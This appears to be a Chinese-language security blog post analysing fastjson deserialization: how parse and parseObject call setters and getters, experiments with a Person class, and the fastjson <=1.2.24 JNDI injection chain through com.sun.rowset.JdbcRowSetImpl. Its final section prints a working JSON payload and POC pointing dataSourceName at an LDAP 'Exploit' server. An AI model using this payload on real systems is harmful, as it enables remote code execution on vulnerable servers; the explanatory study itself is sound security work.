parseObject({..})其实就是parse({..})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。

三种反序列化函数执行过程的区别:

结论:
parse(“”) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

产生的错误

fastjson提供特殊字符段被屏蔽的type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。

我们先来看一下这个字段的使用:

//@使用特定修饰符,写入被屏蔽的type序列化
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
Object obj4 = JSON.parse(serializedStr1);
System.out.println("parse反序列化对象名称:"+obj4.getClass().getName());
System.out.println("parseObject反序列化:"+obj4);

//通过这种方式返回的是一个相应的类对象
Object obj5 = JSON.parseObject(serializedStr1);
System.out.println("parseObject反序列化对象名称:"+obj5.getClass().getName());
System.out.println("parseObject反序列化:"+obj5);

结果

//序列化
serializedStr1={"被屏蔽的type":"com.fastjson.User","age":11,"name":"lala"}
//parse反序列化
parse反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@1cf4f579
//parseObject反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}

可以看到,本该解析出来的被屏蔽的type都没有解析出来

实验

Person.java

import java.util.Properties;

public class Person {
    //属性
    public String name;
    private String full_name;
    private int age;
    private Boolean sex;
    private Properties prop;
    //构造函数
    public Person(){
        System.out.println("Person构造函数");
    }
    //set
    public void setAge(int age){
        System.out.println("setAge()");
        this.age = age;
    }
    //get 返回Boolean
    public Boolean getSex(){
        System.out.println("getSex()");
        return this.sex;
    }
    //get 返回ProPerties
    public Properties getProp(){
        System.out.println("getProp()");
        return this.prop;
    }
    //在输出时会自动调用的对象ToString函数
    public String toString() {
        String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name  + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
}

type函数

import com.alibaba.fastjson.JSON;
public class type {

    public static void main(String[] args) {
        String eneity3 = "{\"被屏蔽的type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}";
        //反序列化
        Object obj = JSON.parseObject(eneity3,Person.class);
        //输出会调用obj对象的tooString函数
        System.out.println(obj);
    }
}

结果如下

Person构造函数
setAge()
getProp()
[Person Object] name=lala full_name=null, age=13, prop=null, sex=null

public name 反序列化成功
private full_name 反序列化失败
private age setAge函数被调用
private sex getsex函数没有被调用
private prop getprop函数被成功调用

可以得知:

1.public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
2.getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

进入build函数后会遍历一遍传入class的所有方法,去寻找满足set开头的特定类型方法;再遍历一遍所有方法去寻找get开头的特定类型的方法

set开头的方法要求如下
1.方法名长度大于4且以set开头,且第四个字母要是大写
2.非静态方法
3.返回类型为void或当前类
4.参数个数为1个

寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名(好像会过滤_,就是set_name这样的方法名中的下划线会被略过,得到name)。再去跟这个类的属性去比对有没有这个名称的属性。

如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。

get开头的方法要求如下

1.方法名长度大于等于4
2.非静态方法
3.以get开头且第4个字母为大写
4.无传入参数
5.返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

结论

通过上述我们知道:
1.被屏蔽的type可以指定反序列化成服务器上的任意类然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
2.如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter、getter方法(即setxxx方法、getxxx方法)

看上去应该是挺正常的使用逻辑,反序列化需要调用对应参数的setter、getter方法来恢复数据。但是在可以调用任意类的情况下,如果setter、getter方法中存在可以利用的情况,就会导致任意命令执行。

我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持被屏蔽的type这个属性的。

fastjson<=1.2.24 JNDI注入利用链——com.sun.rowset.JdbcRowSetImpl

JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

下面需要补一个利用链的知识:
常见的一个漏洞触发代码:

String uri = "rmi://127.0.0.1:1099/aa";//可控uri
Context ctx = new InitialContext();
ctx.lookup(uri);

衍生到了:

import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
        JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
        JdbcRowSetImpl_inc.setAutoCommit(true);
    }
}

第一句就满足了这里的对DataSourceName的需要摸索与通过这段代码可以达到上面JNDI注入的效果。

下面尝试用fastjson的被屏蔽的type来使服务端执行以上代码,可以看到我们需要调用的两个函数都是以set开头!这说明我们可以把这个函数当作setter函数进行调用!

去看一下这两个函数接口符不符合setter函数的条件

public void setDataSourceName(String var1) throws SQLException
public void setAutoCommit(boolean var1)throws SQLException

满足

payload为:

{
    "被屏蔽的type":"com.sun.rowset.JdbcRowSetImpl",   //调用com.sun.rowset.JdbcRowSetImpl函数中的
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit",   // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "autoCommit":true // 再调用setAutoCommit函数,传入true
}

java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)

import com.alibaba.fastjson.JSON;
import com.fastjson.User;
public class POC {

    String payload =   "{\"被屏蔽的type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
    JSON.parse(payload);
}

  Reprint policy: xiaoxin java反序列化总结

 Previous
初探qemu逃逸 初探qemu逃逸
[toc] 常用指令sudo uname -m 出现i686代表是32位,出现x86_64代表64位。 gcc -m32 -O0 souce_code -o bin_file 编译32位文件: gcc -m32 -O0 -stat
2021-06-23
Next 
CVE-2021-24093 Windows图形组件远程执行代码漏洞分析 CVE-2021-24093 Windows图形组件远程执行代码漏洞分析
0x00 前言Windows图形组件DWrite库是用于高质量文本呈现的用户模式动态库,DWrite库存在远程代码执行漏洞。目前已有POC,POC可以实现任意地址写任意内容。 0x01 漏洞信息漏洞简述漏洞名称:Windows图形组件远程执
2021-04-15
  TOC